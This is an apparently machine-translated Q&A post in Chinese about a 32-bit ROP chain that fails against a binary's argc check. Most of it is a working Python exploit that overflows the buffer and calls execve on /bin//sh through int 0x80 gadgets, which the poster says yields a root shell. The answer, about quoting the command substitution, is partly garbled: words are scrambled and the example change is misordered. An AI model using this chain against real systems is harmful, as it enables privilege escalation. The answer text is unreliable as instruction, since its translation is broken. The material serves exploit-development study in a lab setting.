我已经创建了一个ROP攻击链,我知道它可以工作,因为我已经用另一个没有问题代码的程序测试了它。
我的问题是每当我将ROP链作为输入参数运行到我的目标二进制文件中时,它就无法通过这部分:
if (argc !=2){
fprintf(stderr, "Error:need a command-line argument\n");
return 1;
}
我正在运行它:./ target $(python inject.py)
以下是我的攻击链:
#!/usr/bin/env python2
from struct import pack
p = 'A'*112
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef064) # @ .data + 4
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080e3cc6) # pop ecx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x080494b9) # int 0x80
print p
当我删除上面的参数检查时,它可以让我获得对终端的root访问权限并且有效。
这些是我编译程序的标题: -g -m32 -static -U_FORTIFY_SOURCE -fno-stack-protector
目标有DEP。
答案 0 :(得分:0)
使用argc
调用2
时,./target $(python inject.py)
不是$()
。执行命令替换./target
,然后返回发送其值,在每个空格上拆分,导致./target $(python inject.py)
的参数数量大于2。
要防止shell在命令替换中的每个空格上拆分,请在命令替换周围加上引号以防止它拆分结果,而是将其作为单个参数。
变化:
./target "$(python inject.py)"
到
Run
有关详细信息,请查看以下内容: